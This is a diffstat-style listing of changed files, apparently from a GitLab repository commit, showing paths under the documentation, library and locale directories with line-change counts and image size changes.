-rw-r--r--doc/user/project/merge_requests/merge_request_dependencies.md4
-rw-r--r--doc/user/project/merge_requests/merge_request_discussion_resolution.md3
-rw-r--r--doc/user/project/merge_requests/merge_when_build_succeeds.md3
-rw-r--r--doc/user/project/merge_requests/merge_when_pipeline_succeeds.md7
-rw-r--r--doc/user/project/merge_requests/resolve_conflicts.md4
-rw-r--r--doc/user/project/merge_requests/revert_changes.md6
-rw-r--r--doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md43
-rw-r--r--doc/user/project/merge_requests/sast.md3
-rw-r--r--doc/user/project/merge_requests/sast_docker.md3
-rw-r--r--doc/user/project/merge_requests/squash_and_merge.md8
-rw-r--r--doc/user/project/merge_requests/test_coverage_visualization.md30
-rw-r--r--doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md2
-rw-r--r--doc/user/project/merge_requests/versions.md12
-rw-r--r--doc/user/project/merge_requests/work_in_progress_merge_requests.md8
-rw-r--r--doc/user/project/milestones/burndown_and_burnup_charts.md31
-rw-r--r--doc/user/project/milestones/burndown_charts.md5
-rw-r--r--doc/user/project/milestones/img/milestones_new_group_milestone.pngbin39822 -> 0 bytes
-rw-r--r--doc/user/project/milestones/img/milestones_new_group_milestone_v13_5.pngbin0 -> 58686 bytes
-rw-r--r--doc/user/project/milestones/img/milestones_new_project_milestone.pngbin30379 -> 42599 bytes
-rw-r--r--doc/user/project/milestones/index.md45
-rw-r--r--doc/user/project/new_ci_build_permissions_model.md47
-rw-r--r--doc/user/project/operations/alert_management.md3
-rw-r--r--doc/user/project/operations/dashboard_settings.md3
-rw-r--r--doc/user/project/operations/error_tracking.md3
-rw-r--r--doc/user/project/operations/feature_flags.md3
-rw-r--r--doc/user/project/operations/index.md3
-rw-r--r--doc/user/project/operations/linking_to_an_external_dashboard.md3
-rw-r--r--doc/user/project/operations/tracing.md3
-rw-r--r--doc/user/project/packages/maven.md3
-rw-r--r--doc/user/project/packages/maven_packages.md3
-rw-r--r--doc/user/project/packages/maven_repository.md3
-rw-r--r--doc/user/project/packages/npm_registry.md3
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md6
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/index.md28
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md8
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md10
-rw-r--r--doc/user/project/pages/getting_started/fork_sample_project.md3
-rw-r--r--doc/user/project/pages/getting_started/new_or_existing_website.md3
-rw-r--r--doc/user/project/pages/getting_started/pages_bundled_template.md3
-rw-r--r--doc/user/project/pages/getting_started/pages_ci_cd_template.md4
-rw-r--r--doc/user/project/pages/getting_started/pages_forked_sample_project.md6
-rw-r--r--doc/user/project/pages/getting_started/pages_from_scratch.md4
-rw-r--r--doc/user/project/pages/getting_started/pages_new_project_template.md4
-rw-r--r--doc/user/project/pages/getting_started_part_four.md3
-rw-r--r--doc/user/project/pages/getting_started_part_one.md14
-rw-r--r--doc/user/project/pages/getting_started_part_three.md3
-rw-r--r--doc/user/project/pages/getting_started_part_two.md3
-rw-r--r--doc/user/project/pages/index.md10
-rw-r--r--doc/user/project/pages/introduction.md6
-rw-r--r--doc/user/project/pages/lets_encrypt_for_gitlab_pages.md10
-rw-r--r--doc/user/project/pages/pages_access_control.md4
-rw-r--r--doc/user/project/pages/redirects.md6
-rw-r--r--doc/user/project/pipelines/job_artifacts.md3
-rw-r--r--doc/user/project/pipelines/schedules.md3
-rw-r--r--doc/user/project/pipelines/settings.md3
-rw-r--r--doc/user/project/protected_branches.md39
-rw-r--r--doc/user/project/protected_tags.md2
-rw-r--r--doc/user/project/push_options.md4
-rw-r--r--doc/user/project/quick_actions.md5
-rw-r--r--doc/user/project/releases.md3
-rw-r--r--doc/user/project/releases/index.md18
-rw-r--r--doc/user/project/repository/branches/index.md2
-rw-r--r--doc/user/project/repository/file_finder.md4
-rw-r--r--doc/user/project/repository/forking_workflow.md12
-rw-r--r--doc/user/project/repository/git_blame.md2
-rw-r--r--doc/user/project/repository/git_history.md2
-rw-r--r--doc/user/project/repository/gpg_signed_commits/index.md8
-rw-r--r--doc/user/project/repository/index.md10
-rw-r--r--doc/user/project/repository/jupyter_notebooks/index.md2
-rw-r--r--doc/user/project/repository/reducing_the_repo_size_using_git.md73
-rw-r--r--doc/user/project/repository/repository_mirroring.md35
-rw-r--r--doc/user/project/repository/web_editor.md10
-rw-r--r--doc/user/project/repository/x509_signed_commits/index.md6
-rw-r--r--doc/user/project/requirements/index.md81
-rw-r--r--doc/user/project/security_dashboard.md3
-rw-r--r--doc/user/project/service_desk.md39
-rw-r--r--doc/user/project/settings/import_export.md35
-rw-r--r--doc/user/project/settings/index.md42
-rw-r--r--doc/user/project/settings/project_access_tokens.md45
-rw-r--r--doc/user/project/slash_commands.md3
-rw-r--r--doc/user/project/static_site_editor/index.md21
-rw-r--r--doc/user/project/status_page/index.md3
-rw-r--r--doc/user/project/time_tracking.md10
-rw-r--r--doc/user/project/web_ide/img/solarized_light_theme_v13_0.pngbin77660 -> 99981 bytes
-rw-r--r--doc/user/project/web_ide/index.md16
-rw-r--r--doc/user/project/wiki/index.md10
-rw-r--r--doc/user/reserved_names.md2
-rw-r--r--doc/user/search/advanced_global_search.md12
-rw-r--r--doc/user/search/advanced_search_syntax.md24
-rw-r--r--doc/user/search/index.md2
-rw-r--r--doc/user/shortcuts.md10
-rw-r--r--doc/user/snippets.md4
-rw-r--r--doc/user/todos.md8
-rw-r--r--doc/user/upgrade_email_bypass.md16
-rw-r--r--doc/user/usage_quotas.md94
-rw-r--r--jest.config.base.js7
-rw-r--r--lib/api/admin/instance_clusters.rb1
-rw-r--r--lib/api/api.rb2
-rw-r--r--lib/api/boards.rb2
-rw-r--r--lib/api/boards_responses.rb22
-rw-r--r--lib/api/ci/runner.rb4
-rw-r--r--lib/api/composer_packages.rb5
-rw-r--r--lib/api/conan_instance_packages.rb2
-rw-r--r--lib/api/conan_package_endpoints.rb351
-rw-r--r--lib/api/conan_project_packages.rb2
-rw-r--r--lib/api/concerns/packages/conan_endpoints.rb355
-rw-r--r--lib/api/concerns/packages/npm_endpoints.rb12
-rw-r--r--lib/api/concerns/packages/nuget_endpoints.rb135
-rw-r--r--lib/api/discussions.rb1
-rw-r--r--lib/api/entities/cluster.rb2
-rw-r--r--lib/api/entities/feature.rb10
-rw-r--r--lib/api/entities/feature_flag.rb4
-rw-r--r--lib/api/entities/issue.rb1
-rw-r--r--lib/api/entities/merge_request_basic.rb1
-rw-r--r--lib/api/entities/note.rb1
-rw-r--r--lib/api/entities/project.rb2
-rw-r--r--lib/api/entities/project_import_status.rb5
-rw-r--r--lib/api/entities/project_snippet.rb2
-rw-r--r--lib/api/entities/project_statistics.rb1
-rw-r--r--lib/api/entities/related_issue.rb2
-rw-r--r--lib/api/feature_flags.rb24
-rw-r--r--lib/api/feature_flags_user_lists.rb2
-rw-r--r--lib/api/features.rb28
-rwxr-xr-xlib/api/go_proxy.rb2
-rw-r--r--lib/api/group_boards.rb2
-rw-r--r--lib/api/group_clusters.rb2
-rw-r--r--lib/api/group_labels.rb2
-rw-r--r--lib/api/helpers.rb30
-rw-r--r--lib/api/helpers/internal_helpers.rb34
-rw-r--r--lib/api/helpers/members_helpers.rb2
-rw-r--r--lib/api/helpers/packages/basic_auth_helpers.rb4
-rw-r--r--lib/api/helpers/packages/conan/api_helpers.rb13
-rw-r--r--lib/api/helpers/projects_helpers.rb4
-rw-r--r--lib/api/helpers/services_helpers.rb61
-rw-r--r--lib/api/helpers/sse_helpers.rb16
-rw-r--r--lib/api/internal/base.rb4
-rw-r--r--lib/api/internal/kubernetes.rb6
-rw-r--r--lib/api/internal/pages.rb43
-rw-r--r--lib/api/issues.rb2
-rw-r--r--lib/api/jobs.rb2
-rw-r--r--lib/api/labels.rb4
-rw-r--r--lib/api/members.rb2
-rw-r--r--lib/api/merge_request_approvals.rb2
-rw-r--r--lib/api/merge_requests.rb3
-rw-r--r--lib/api/nuget_packages.rb247
-rw-r--r--lib/api/nuget_project_packages.rb139
-rw-r--r--lib/api/project_clusters.rb2
-rw-r--r--lib/api/project_repository_storage_moves.rb16
-rw-r--r--lib/api/pypi_packages.rb2
-rw-r--r--lib/api/release/links.rb2
-rw-r--r--lib/api/settings.rb6
-rw-r--r--lib/api/statistics.rb2
-rw-r--r--lib/api/usage_data.rb12
-rw-r--r--lib/api/users.rb18
-rw-r--r--lib/api/validations/validators/absence.rb2
-rw-r--r--lib/api/validations/validators/array_none_any.rb6
-rw-r--r--lib/api/validations/validators/check_assignees_count.rb7
-rw-r--r--lib/api/validations/validators/email_or_email_list.rb3
-rw-r--r--lib/api/validations/validators/file_path.rb6
-rw-r--r--lib/api/validations/validators/git_ref.rb6
-rw-r--r--lib/api/validations/validators/git_sha.rb6
-rw-r--r--lib/api/validations/validators/integer_none_any.rb12
-rw-r--r--lib/api/validations/validators/integer_or_custom_value.rb33
-rw-r--r--lib/api/validations/validators/limit.rb3
-rw-r--r--lib/api/validations/validators/untrusted_regexp.rb2
-rw-r--r--lib/atlassian/jira_connect/client.rb75
-rw-r--r--lib/atlassian/jira_connect/serializers/base_entity.rb6
-rw-r--r--lib/atlassian/jira_connect/serializers/build_entity.rb94
-rw-r--r--lib/backup/files.rb8
-rw-r--r--lib/banzai/filter/ascii_doc_sanitization_filter.rb37
-rw-r--r--lib/banzai/filter/base_sanitization_filter.rb2
-rw-r--r--lib/banzai/filter/kroki_filter.rb42
-rw-r--r--lib/banzai/filter/merge_request_reference_filter.rb2
-rw-r--r--lib/banzai/filter/syntax_highlight_filter.rb5
-rw-r--r--lib/banzai/pipeline/gfm_pipeline.rb1
-rw-r--r--lib/bulk_imports/common/extractors/graphql_extractor.rb27
-rw-r--r--lib/bulk_imports/common/transformers/graphql_cleaner_transformer.rb54
-rw-r--r--lib/bulk_imports/common/transformers/hash_key_digger.rb23
-rw-r--r--lib/bulk_imports/common/transformers/prohibited_attributes_transformer.rb39
-rw-r--r--lib/bulk_imports/groups/graphql/get_group_query.rb4
-rw-r--r--lib/bulk_imports/groups/pipelines/group_pipeline.rb5
-rw-r--r--lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline.rb1
-rw-r--r--lib/bulk_imports/importers/group_importer.rb1
-rw-r--r--lib/bulk_imports/pipeline.rb81
-rw-r--r--lib/bulk_imports/pipeline/attributes.rb41
-rw-r--r--lib/bulk_imports/pipeline/runner.rb117
-rw-r--r--lib/constraints/project_url_constrainer.rb2
-rw-r--r--lib/constraints/repository_redirect_url_constrainer.rb28
-rw-r--r--lib/extracts_ref.rb10
-rw-r--r--lib/feature.rb32
-rw-r--r--lib/feature/definition.rb35
-rw-r--r--lib/feature/logger.rb9
-rw-r--r--lib/feature/shared.rb16
-rw-r--r--lib/gitlab.rb6
-rw-r--r--lib/gitlab/alert_management/payload.rb3
-rw-r--r--lib/gitlab/analytics/cycle_analytics/default_stages.rb4
-rw-r--r--lib/gitlab/application_context.rb2
-rw-r--r--lib/gitlab/application_rate_limiter.rb3
-rw-r--r--lib/gitlab/asciidoc.rb21
-rw-r--r--lib/gitlab/asciidoc/html5_converter.rb6
-rw-r--r--lib/gitlab/auth.rb6
-rw-r--r--lib/gitlab/auth/auth_finders.rb7
-rw-r--r--lib/gitlab/auth/crowd/authentication.rb35
-rw-r--r--lib/gitlab/auth/ldap/config.rb34
-rw-r--r--lib/gitlab/auth/ldap/user.rb14
-rw-r--r--lib/gitlab/auth/o_auth/provider.rb2
-rw-r--r--lib/gitlab/auth/o_auth/user.rb19
-rw-r--r--lib/gitlab/auth/otp/fortinet.rb20
-rw-r--r--lib/gitlab/auth/otp/session_enforcer.rb36
-rw-r--r--lib/gitlab/auth/otp/strategies/base.rb4
-rw-r--r--lib/gitlab/auth/otp/strategies/forti_authenticator.rb7
-rw-r--r--lib/gitlab/auth/otp/strategies/forti_token_cloud.rb72
-rw-r--r--lib/gitlab/auth/request_authenticator.rb9
-rw-r--r--lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities.rb17
-rw-r--r--lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information.rb5
-rw-r--r--lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb2
-rw-r--r--lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth.rb110
-rw-r--r--lib/gitlab/batch_pop_queueing.rb2
-rw-r--r--lib/gitlab/batch_worker_context.rb2
-rw-r--r--lib/gitlab/checks/diff_check.rb21
-rw-r--r--lib/gitlab/checks/push_check.rb2
-rw-r--r--lib/gitlab/checks/snippet_check.rb14
-rw-r--r--lib/gitlab/checks/timed_logger.rb2
-rw-r--r--lib/gitlab/ci/ansi2json/converter.rb3
-rw-r--r--lib/gitlab/ci/build/rules.rb22
-rw-r--r--lib/gitlab/ci/build/rules/rule/clause/changes.rb5
-rw-r--r--lib/gitlab/ci/config/entry/allow_failure.rb31
-rw-r--r--lib/gitlab/ci/config/entry/bridge.rb7
-rw-r--r--lib/gitlab/ci/config/entry/job.rb29
-rw-r--r--lib/gitlab/ci/config/entry/need.rb38
-rw-r--r--lib/gitlab/ci/config/entry/needs.rb11
-rw-r--r--lib/gitlab/ci/config/entry/processable.rb7
-rw-r--r--lib/gitlab/ci/config/entry/root.rb1
-rw-r--r--lib/gitlab/ci/config/entry/rules/rule.rb6
-rw-r--r--lib/gitlab/ci/config/entry/variables.rb7
-rw-r--r--lib/gitlab/ci/features.rb16
-rw-r--r--lib/gitlab/ci/limit.rb34
-rw-r--r--lib/gitlab/ci/mask_secret.rb6
-rw-r--r--lib/gitlab/ci/parsers.rb3
-rw-r--r--lib/gitlab/ci/parsers/codequality/code_climate.rb29
-rw-r--r--lib/gitlab/ci/parsers/coverage/cobertura.rb118
-rw-r--r--lib/gitlab/ci/pipeline/chain/cancel_pending_pipelines.rb2
-rw-r--r--lib/gitlab/ci/pipeline/chain/command.rb2
-rw-r--r--lib/gitlab/ci/pipeline/chain/limit/deployments.rb39
-rw-r--r--lib/gitlab/ci/pipeline/chain/populate.rb4
-rw-r--r--lib/gitlab/ci/pipeline/chain/seed.rb26
-rw-r--r--lib/gitlab/ci/pipeline/quota/deployments.rb50
-rw-r--r--lib/gitlab/ci/pipeline/seed/build.rb22
-rw-r--r--lib/gitlab/ci/pipeline/seed/environment.rb4
-rw-r--r--lib/gitlab/ci/pipeline/seed/pipeline.rb51
-rw-r--r--lib/gitlab/ci/reports/accessibility_reports_comparer.rb33
-rw-r--r--lib/gitlab/ci/reports/codequality_reports.rb43
-rw-r--r--lib/gitlab/ci/reports/codequality_reports_comparer.rb48
-rw-r--r--lib/gitlab/ci/reports/reports_comparer.rb53
-rw-r--r--lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Jobs/Test.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml33
-rw-r--r--lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml3
-rw-r--r--lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Security/DAST-On-Demand-Scan.gitlab-ci.yml24
-rw-r--r--lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml7
-rw-r--r--lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml8
-rw-r--r--lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml3
-rw-r--r--lib/gitlab/ci/templates/Terraform/Base.latest.gitlab-ci.yml1
-rw-r--r--lib/gitlab/ci/templates/npm.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/npm.latest.gitlab-ci.yml41
-rw-r--r--lib/gitlab/ci/trace/checksum.rb23
-rw-r--r--lib/gitlab/ci/trace/metrics.rb3
-rw-r--r--lib/gitlab/ci/yaml_processor/result.rb1
-rw-r--r--lib/gitlab/config/entry/validators.rb26
-rw-r--r--lib/gitlab/cycle_analytics/builds_event_helper.rb4
-rw-r--r--lib/gitlab/cycle_analytics/code_event_fetcher.rb4
-rw-r--r--lib/gitlab/cycle_analytics/issue_event_fetcher.rb4
-rw-r--r--lib/gitlab/cycle_analytics/permissions.rb4
-rw-r--r--lib/gitlab/cycle_analytics/plan_event_fetcher.rb4
-rw-r--r--lib/gitlab/cycle_analytics/production_event_fetcher.rb4
-rw-r--r--lib/gitlab/cycle_analytics/review_event_fetcher.rb4
-rw-r--r--lib/gitlab/cycle_analytics/updater.rb4
-rw-r--r--lib/gitlab/cycle_analytics/usage_data.rb91
-rw-r--r--lib/gitlab/danger/base_linter.rb95
-rw-r--r--lib/gitlab/danger/changelog.rb1
-rw-r--r--lib/gitlab/danger/commit_linter.rb118
-rw-r--r--lib/gitlab/danger/helper.rb6
-rw-r--r--lib/gitlab/danger/merge_request_linter.rb30
-rw-r--r--lib/gitlab/danger/roulette.rb2
-rw-r--r--lib/gitlab/database/batch_count.rb15
-rw-r--r--lib/gitlab/database/migrations/background_migration_helpers.rb11
-rw-r--r--lib/gitlab/database/postgres_hll/batch_distinct_counter.rb159
-rw-r--r--lib/gitlab/database/postgres_index.rb17
-rw-r--r--lib/gitlab/database/postgres_index_bloat_estimate.rb18
-rw-r--r--lib/gitlab/database/postgresql_adapter/empty_query_ping.rb22
-rw-r--r--lib/gitlab/database/reindexing.rb10
-rw-r--r--lib/gitlab/database/reindexing/concurrent_reindex.rb15
-rw-r--r--lib/gitlab/database/reindexing/index_selection.rb36
-rw-r--r--lib/gitlab/database/reindexing/reindex_action.rb9
-rw-r--r--lib/gitlab/database_importers/self_monitoring/project/create_service.rb2
-rw-r--r--lib/gitlab/deploy_key_access.rb37
-rw-r--r--lib/gitlab/diff/file_collection/base.rb18
-rw-r--r--lib/gitlab/diff/file_collection/merge_request_diff_base.rb8
-rw-r--r--lib/gitlab/diff/file_collection/merge_request_diff_batch.rb21
-rw-r--r--lib/gitlab/diff/file_collection_sorter.rb43
-rw-r--r--lib/gitlab/email/handler/reply_processing.rb2
-rw-r--r--lib/gitlab/email/handler/service_desk_handler.rb4
-rw-r--r--lib/gitlab/encrypted_configuration.rb121
-rw-r--r--lib/gitlab/encrypted_ldap_command.rb104
-rw-r--r--lib/gitlab/experimentation.rb99
-rw-r--r--lib/gitlab/experimentation/controller_concern.rb80
-rw-r--r--lib/gitlab/experimentation/experiment.rb31
-rw-r--r--lib/gitlab/git.rb1
-rw-r--r--lib/gitlab/git/diff_collection.rb6
-rw-r--r--lib/gitlab/git/repository.rb12
-rw-r--r--lib/gitlab/git/wraps_gitaly_errors.rb2
-rw-r--r--lib/gitlab/git_access.rb51
-rw-r--r--lib/gitlab/git_access_project.rb16
-rw-r--r--lib/gitlab/git_access_snippet.rb2
-rw-r--r--lib/gitlab/gitaly_client/commit_service.rb17
-rw-r--r--lib/gitlab/github_import/client.rb12
-rw-r--r--lib/gitlab/github_import/importer/lfs_objects_importer.rb7
-rw-r--r--lib/gitlab/github_import/importer/pull_request_merged_by_importer.rb44
-rw-r--r--lib/gitlab/github_import/importer/pull_request_review_importer.rb101
-rw-r--r--lib/gitlab/github_import/importer/pull_requests_importer.rb2
-rw-r--r--lib/gitlab/github_import/importer/pull_requests_merged_by_importer.rb38
-rw-r--r--lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb41
-rw-r--r--lib/gitlab/github_import/parallel_scheduling.rb41
-rw-r--r--lib/gitlab/github_import/representation/pull_request.rb17
-rw-r--r--lib/gitlab/github_import/representation/pull_request_review.rb49
-rw-r--r--lib/gitlab/gl_repository.rb1
-rw-r--r--lib/gitlab/gon_helper.rb8
-rw-r--r--lib/gitlab/google_code_import/client.rb54
-rw-r--r--lib/gitlab/google_code_import/importer.rb373
-rw-r--r--lib/gitlab/google_code_import/project_creator.rb32
-rw-r--r--lib/gitlab/google_code_import/repository.rb45
-rw-r--r--lib/gitlab/gpg.rb6
-rw-r--r--lib/gitlab/graphql/authorize/authorize_resource.rb4
-rw-r--r--lib/gitlab/graphql/connection_collection_methods.rb13
-rw-r--r--lib/gitlab/graphql/connection_redaction.rb33
-rw-r--r--lib/gitlab/graphql/deferred.rb12
-rw-r--r--lib/gitlab/graphql/docs/helper.rb6
-rw-r--r--lib/gitlab/graphql/docs/templates/default.md.haml4
-rw-r--r--lib/gitlab/graphql/expose_permissions.rb2
-rw-r--r--lib/gitlab/graphql/externally_paginated_array.rb6
-rw-r--r--lib/gitlab/graphql/laziness.rb46
-rw-r--r--lib/gitlab/graphql/lazy.rb2
-rw-r--r--lib/gitlab/graphql/pagination/array_connection.rb15
-rw-r--r--lib/gitlab/graphql/pagination/connections.rb4
-rw-r--r--lib/gitlab/graphql/pagination/externally_paginated_array_connection.rb9
-rw-r--r--lib/gitlab/graphql/pagination/keyset/connection.rb2
-rw-r--r--lib/gitlab/graphql/pagination/keyset/order_info.rb2
-rw-r--r--lib/gitlab/graphql/pagination/offset_active_record_relation_connection.rb2
-rw-r--r--lib/gitlab/hook_data/base_builder.rb7
-rw-r--r--lib/gitlab/hook_data/group_member_builder.rb65
-rw-r--r--lib/gitlab/i18n/html_todo.yml314
-rw-r--r--lib/gitlab/i18n/po_linter.rb14
-rw-r--r--lib/gitlab/i18n/translation_entry.rb19
-rw-r--r--lib/gitlab/import_export/group/tree_restorer.rb16
-rw-r--r--lib/gitlab/import_export/import_failure_service.rb31
-rw-r--r--lib/gitlab/import_export/importer.rb5
-rw-r--r--lib/gitlab/import_export/project/import_export.yml4
-rw-r--r--lib/gitlab/import_export/project/sample/relation_tree_restorer.rb4
-rw-r--r--lib/gitlab/import_export/relation_tree_restorer.rb28
-rw-r--r--lib/gitlab/import_export/wiki_restorer.rb28
-rw-r--r--lib/gitlab/import_sources.rb2
-rw-r--r--lib/gitlab/instrumentation_helper.rb10
-rw-r--r--lib/gitlab/kroki.rb38
-rw-r--r--lib/gitlab/kubernetes/deployment.rb117
-rw-r--r--lib/gitlab/kubernetes/helm/v2/client_command.rb11
-rw-r--r--lib/gitlab/kubernetes/helm/v2/reset_command.rb26
-rw-r--r--lib/gitlab/kubernetes/ingress.rb46
-rw-r--r--lib/gitlab/kubernetes/rollout_instances.rb75
-rw-r--r--lib/gitlab/kubernetes/rollout_status.rb72
-rw-r--r--lib/gitlab/legacy_github_import/project_creator.rb2
-rw-r--r--lib/gitlab/markdown_cache/active_record/extension.rb1
-rw-r--r--lib/gitlab/metrics/background_transaction.rb16
-rw-r--r--lib/gitlab/metrics/sidekiq_middleware.rb35
-rw-r--r--lib/gitlab/metrics/subscribers/active_record.rb10
-rw-r--r--lib/gitlab/metrics/transaction.rb8
-rw-r--r--lib/gitlab/metrics/web_transaction.rb7
-rw-r--r--lib/gitlab/middleware/read_only/controller.rb11
-rw-r--r--lib/gitlab/pagination/gitaly_keyset_pager.rb21
-rw-r--r--lib/gitlab/pagination/offset_header_builder.rb65
-rw-r--r--lib/gitlab/pagination/offset_pagination.rb54
-rw-r--r--lib/gitlab/path_regex.rb16
-rw-r--r--lib/gitlab/performance_bar/logger.rb11
-rw-r--r--lib/gitlab/performance_bar/redis_adapter_when_peek_enabled.rb28
-rw-r--r--lib/gitlab/performance_bar/stats.rb60
-rw-r--r--lib/gitlab/project_template.rb38
-rw-r--r--lib/gitlab/quick_actions/issue_actions.rb35
-rw-r--r--lib/gitlab/rack_attack.rb118
-rw-r--r--lib/gitlab/rack_attack/request.rb77
-rw-r--r--lib/gitlab/rack_attack/user_allowlist.rb23
-rw-r--r--lib/gitlab/repo_path.rb51
-rw-r--r--lib/gitlab/request_forgery_protection.rb8
-rw-r--r--lib/gitlab/sample_data_template.rb3
-rw-r--r--lib/gitlab/sanitizers/exif.rb2
-rw-r--r--lib/gitlab/search/query.rb1
-rw-r--r--lib/gitlab/setup_helper.rb63
-rw-r--r--lib/gitlab/sidekiq_cluster.rb2
-rw-r--r--lib/gitlab/sidekiq_death_handler.rb19
-rw-r--r--lib/gitlab/sidekiq_middleware/client_metrics.rb4
-rw-r--r--lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb18
-rw-r--r--lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/deduplicates_when_scheduling.rb2
-rw-r--r--lib/gitlab/sidekiq_middleware/metrics.rb38
-rw-r--r--lib/gitlab/sidekiq_middleware/metrics_helper.rb38
-rw-r--r--lib/gitlab/sidekiq_middleware/server_metrics.rb4
-rw-r--r--lib/gitlab/throttle.rb50
-rw-r--r--lib/gitlab/tracking.rb13
-rw-r--r--lib/gitlab/tracking/destinations/product_analytics.rb41
-rw-r--r--lib/gitlab/tracking/destinations/snowplow.rb4
-rw-r--r--lib/gitlab/uploads/migration_helper.rb2
-rw-r--r--lib/gitlab/usage_data.rb37
-rw-r--r--lib/gitlab/usage_data_counters.rb40
-rw-r--r--lib/gitlab/usage_data_counters/aggregated_metrics/common.yml26
-rw-r--r--lib/gitlab/usage_data_counters/base_counter.rb6
-rw-r--r--lib/gitlab/usage_data_counters/counter_events/guest_package_events.yml34
-rw-r--r--lib/gitlab/usage_data_counters/editor_unique_counter.rb9
-rw-r--r--lib/gitlab/usage_data_counters/guest_package_event_counter.rb11
-rw-r--r--lib/gitlab/usage_data_counters/guest_package_events.yml34
-rw-r--r--lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb5
-rw-r--r--lib/gitlab/usage_data_counters/known_events/common.yml23
-rw-r--r--lib/gitlab/usage_data_counters/known_events/package_events.yml316
-rw-r--r--lib/gitlab/usage_data_counters/search_counter.rb1
-rw-r--r--lib/gitlab/usage_data_queries.rb7
-rw-r--r--lib/gitlab/user_access.rb4
-rw-r--r--lib/gitlab/utils/usage_data.rb12
-rw-r--r--lib/gitlab/uuid.rb32
-rw-r--r--lib/gitlab/whats_new.rb40
-rw-r--r--lib/gitlab_danger.rb1
-rw-r--r--lib/microsoft_teams/notifier.rb11
-rw-r--r--lib/object_storage/config.rb5
-rw-r--r--lib/object_storage/direct_upload.rb9
-rw-r--r--lib/product_analytics/tracker.rb31
-rw-r--r--lib/quality/test_level.rb4
-rw-r--r--lib/tasks/gettext.rake105
-rw-r--r--lib/tasks/gitlab/assets.rake5
-rw-r--r--lib/tasks/gitlab/db.rake36
-rw-r--r--lib/tasks/gitlab/ldap.rake18
-rw-r--r--lib/tasks/gitlab/packages/events.rake41
-rw-r--r--lib/tasks/gitlab/usage_data.rake12
-rw-r--r--lib/tasks/gitlab/user_management.rake13
-rw-r--r--lib/tasks/gitlab/workhorse.rake27
-rw-r--r--locale/am_ET/gitlab.po1768
-rw-r--r--locale/ar_SA/gitlab.po1800
-rw-r--r--locale/as_IN/gitlab.po1768
-rw-r--r--locale/az_AZ/gitlab.po1768
-rw-r--r--locale/ba_RU/gitlab.po1760
-rw-r--r--locale/bg/gitlab.po1768
-rw-r--r--locale/bn_BD/gitlab.po1768
-rw-r--r--locale/bn_IN/gitlab.po1768
-rw-r--r--locale/bs_BA/gitlab.po1776
-rw-r--r--locale/ca_ES/gitlab.po1768
-rw-r--r--locale/cs_CZ/gitlab.po1784
-rw-r--r--locale/cy_GB/gitlab.po1800
-rw-r--r--locale/da_DK/gitlab.po1768
-rw-r--r--locale/de/gitlab.po1794
-rw-r--r--locale/el_GR/gitlab.po1768
-rw-r--r--locale/en/gitlab.po1225
-rw-r--r--locale/eo/gitlab.po1768
-rw-r--r--locale/es/gitlab.po1832
-rw-r--r--locale/et_EE/gitlab.po1768
-rw-r--r--locale/fa_IR/gitlab.po1768
-rw-r--r--locale/fi_FI/gitlab.po1768
-rw-r--r--locale/fil_PH/gitlab.po1768
-rw-r--r--locale/fr/gitlab.po1786
-rw-r--r--locale/gitlab.pot1819
-rw-r--r--locale/gl_ES/gitlab.po1768
-rw-r--r--locale/he_IL/gitlab.po1784
-rw-r--r--locale/hi_IN/gitlab.po1768
-rw-r--r--locale/hr_HR/gitlab.po1776
-rw-r--r--locale/hu_HU/gitlab.po1768
-rw-r--r--locale/id_ID/gitlab.po1760
-rw-r--r--locale/ig_NG/gitlab.po1760
-rw-r--r--locale/is_IS/gitlab.po1768
-rw-r--r--locale/it/gitlab.po1768
-rw-r--r--locale/ja/gitlab.po1932
-rw-r--r--locale/ka_GE/gitlab.po1768
-rw-r--r--locale/kab/gitlab.po1768
-rw-r--r--locale/ko/gitlab.po1768
-rw-r--r--locale/ku_TR/gitlab.po1768
-rw-r--r--locale/ky_KG/gitlab.po1768
-rw-r--r--locale/lt_LT/gitlab.po1784
-rw-r--r--locale/mk_MK/gitlab.po1768
-rw-r--r--locale/mn_MN/gitlab.po1768
-rw-r--r--locale/nb_NO/gitlab.po1936
-rw-r--r--locale/nl_NL/gitlab.po1768
-rw-r--r--locale/pa_IN/gitlab.po1768
-rw-r--r--locale/pl_PL/gitlab.po1788
-rw-r--r--locale/pt_BR/gitlab.po1800
-rw-r--r--locale/pt_PT/gitlab.po1770
-rw-r--r--locale/ro_RO/gitlab.po1776
-rw-r--r--locale/ru/gitlab.po1824
-rw-r--r--locale/si_LK/gitlab.po1768
-rw-r--r--locale/sk_SK/gitlab.po1784
-rw-r--r--locale/sl_SI/gitlab.po1784
-rw-r--r--locale/sq_AL/gitlab.po1768
-rw-r--r--locale/sr_CS/gitlab.po1780
-rw-r--r--locale/sr_SP/gitlab.po1776
-rw-r--r--locale/sv_SE/gitlab.po1768
